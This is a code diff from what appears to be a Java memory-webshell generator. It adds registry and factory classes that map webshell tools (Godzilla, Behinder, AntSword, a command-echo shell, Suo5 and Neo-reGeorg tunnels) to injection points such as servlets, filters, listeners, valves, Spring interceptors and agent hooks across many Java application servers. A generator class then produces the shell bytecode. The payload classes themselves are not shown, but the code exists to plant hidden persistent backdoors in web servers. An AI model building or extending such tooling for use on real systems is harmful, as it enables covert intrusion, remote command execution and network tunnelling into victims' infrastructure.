|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, NeoreGeorgServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
|
|
||||||
.addShellClass(FILTER, NeoreGeorgFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
|
|
||||||
.addShellClass(LISTENER, NeoreGeorgListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
|
||||||
.addShellClass(VALVE, NeoreGeorgValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
|
||||||
.build());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,289 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
import java.util.concurrent.CopyOnWriteArrayList;
|
||||||
|
import java.util.function.Supplier;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/11
|
||||||
|
*/
|
||||||
|
public class ServerFactory {
|
||||||
|
private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
|
||||||
|
private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
|
||||||
|
private static final List<String> servers = new CopyOnWriteArrayList<>();
|
||||||
|
|
||||||
|
static {
|
||||||
|
register(Server.Tomcat, Tomcat::new);
|
||||||
|
register(Server.Jetty, Jetty::new);
|
||||||
|
register(Server.Undertow, Undertow::new);
|
||||||
|
register(Server.JBoss, Jboss::new);
|
||||||
|
register(Server.Resin, Resin::new);
|
||||||
|
register(Server.WebLogic, WebLogic::new);
|
||||||
|
register(Server.WebSphere, WebSphere::new);
|
||||||
|
register(Server.GlassFish, GlassFish::new);
|
||||||
|
register(Server.TongWeb, TongWeb::new);
|
||||||
|
register(Server.BES, Bes::new);
|
||||||
|
register(Server.InforSuite, InforSuite::new);
|
||||||
|
register(Server.Apusic, Apusic::new);
|
||||||
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
|
register(Server.Struct2, Struct2::new);
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||||
|
.addShellClass(FILTER, GodzillaFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||||
|
.addShellClass(LISTENER, GodzillaListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||||
|
.addShellClass(VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
|
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, BehinderServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
||||||
|
.addShellClass(FILTER, BehinderFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||||
|
.addShellClass(LISTENER, BehinderListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||||
|
.addShellClass(VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Behinder.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
|
.addShellClass(ACTION, BehinderStruct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||||
|
.addShellClass(FILTER, AntSwordFilter.class)
|
||||||
|
.addShellClass(LISTENER, AntSwordListener.class)
|
||||||
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, AntSword.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
|
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(VALVE, CommandValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Command.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
||||||
|
.addShellClass(HANDLER, CommandJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
|
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||||
|
.addShellClass(FILTER, Suo5Filter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||||
|
.addShellClass(LISTENER, Suo5Listener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||||
|
.addShellClass(VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
|
.addShellClass(ACTION, Suo5Struct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||||
|
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
||||||
|
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, NeoreGeorgServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
|
||||||
|
.addShellClass(FILTER, NeoreGeorgFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
|
||||||
|
.addShellClass(LISTENER, NeoreGeorgListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||||
|
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
|
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||||
|
.build());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||||
|
if (serverName == null || serverName.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("Server name cannot be null or empty.");
|
||||||
|
}
|
||||||
|
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
|
||||||
|
if (existing == null) {
|
||||||
|
servers.add(serverName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static AbstractServer getServer(String serverName) {
|
||||||
|
if (serverName == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return instances.computeIfAbsent(serverName, k -> {
|
||||||
|
Supplier<AbstractServer> supplier = registry.get(k);
|
||||||
|
if (supplier == null) {
|
||||||
|
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
|
||||||
|
}
|
||||||
|
return supplier.get();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
|
||||||
|
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||||
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
|
for (String supportedServer : supportedServers) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
|
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
|
||||||
|
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||||
|
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||||
|
|
||||||
|
for (String shellType : injectorSupportedShellTypes) {
|
||||||
|
Class<?> shellClass = rawToolMapping.get(shellType);
|
||||||
|
if (shellClass == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
|
}
|
||||||
|
ToolMapping mapping = toolMappingBuilder.build();
|
||||||
|
if (mapping.isNotEmpty()) {
|
||||||
|
server.addToolMapping(shellTool, mapping);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<String> getSupportedServers() {
|
||||||
|
return Collections.unmodifiableList(servers);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/11
|
||||||
|
*/
|
||||||
|
public class ServerType {
|
||||||
|
public static final String TOMCAT = "Tomcat";
|
||||||
|
public static final String JETTY = "Jetty";
|
||||||
|
public static final String JBOSS_AS = "JBossAS";
|
||||||
|
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||||
|
public static final String UNDERTOW = "Undertow";
|
||||||
|
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||||
|
public static final String WILDFLY = "Wildfly";
|
||||||
|
public static final String RESIN = "Resin";
|
||||||
|
public static final String GLASSFISH = "Glassfish";
|
||||||
|
public static final String PAYARA = "Payara";
|
||||||
|
public static final String WEBLOGIC = "WebLogic";
|
||||||
|
public static final String WEBSPHERE = "WebSphere";
|
||||||
|
public static final String SPRING_WEBMVC = "SpringWebMVC";
|
||||||
|
public static final String SPRING_WEBFLUX = "SpringWebFlux";
|
||||||
|
public static final String XXL_JOB = "XXL-JOB";
|
||||||
|
public static final String APUSIC = "Apusic";
|
||||||
|
public static final String BES = "BES";
|
||||||
|
public static final String INFORSUITE = "InforSuite";
|
||||||
|
public static final String PRIMETON = "Primeton";
|
||||||
|
public static final String TONGWEB6 = "TongWeb6";
|
||||||
|
public static final String TONGWEB7 = "TongWeb7";
|
||||||
|
public static final String TONGWEB8 = "TongWeb8";
|
||||||
|
}
|
||||||
@@ -2,38 +2,15 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/22
|
* @since 2025/8/22
|
||||||
*/
|
*/
|
||||||
public enum ShellTool {
|
public class ShellTool {
|
||||||
/**
|
public static final String Godzilla = "Godzilla";
|
||||||
* 哥斯拉
|
public static final String Behinder = "Behinder";
|
||||||
*/
|
public static final String Command = "Command";
|
||||||
Godzilla,
|
public static final String Suo5 = "Suo5";
|
||||||
|
public static final String Suo5v2 = "Suo5v2";
|
||||||
/**
|
public static final String AntSword = "AntSword";
|
||||||
* 冰蝎
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
*/
|
public static final String Custom = "Custom";
|
||||||
Behinder,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 蚁剑
|
|
||||||
*/
|
|
||||||
AntSword,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 命令回显
|
|
||||||
*/
|
|
||||||
Command,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
|
|
||||||
*/
|
|
||||||
Suo5,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
|
|
||||||
*/
|
|
||||||
NeoreGeorg,
|
|
||||||
|
|
||||||
;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/08/22
|
||||||
|
*/
|
||||||
|
public class ShellToolFactory {
|
||||||
|
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
|
||||||
|
|
||||||
|
static {
|
||||||
|
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
|
||||||
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
|
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
|
||||||
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
if (shellToolName == null || shellToolName.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
|
||||||
|
}
|
||||||
|
instances.put(shellToolName, Pair.of(generatorClass, configClass));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
try {
|
||||||
|
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
|
||||||
|
Constructor<? extends ShellGenerator> constructor =
|
||||||
|
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
|
||||||
|
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
|
||||||
|
return generator.getBytes();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new GenerationException("shell generate failed " + e.getMessage(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,15 +6,23 @@ package com.reajason.javaweb.memshell;
|
|||||||
*/
|
*/
|
||||||
public class ShellType {
|
public class ShellType {
|
||||||
|
|
||||||
|
public static final String JAKARTA = "Jakarta";
|
||||||
public static final String SERVLET = "Servlet";
|
public static final String SERVLET = "Servlet";
|
||||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
|
||||||
public static final String FILTER = "Filter";
|
public static final String FILTER = "Filter";
|
||||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
|
||||||
public static final String LISTENER = "Listener";
|
public static final String LISTENER = "Listener";
|
||||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
public static final String UPGRADE = "Upgrade";
|
||||||
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
|
public static final String HANDLER = "Handler";
|
||||||
|
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
||||||
|
public static final String CUSTOMIZER = "Customizer";
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
@@ -22,7 +30,7 @@ public class ShellType {
|
|||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
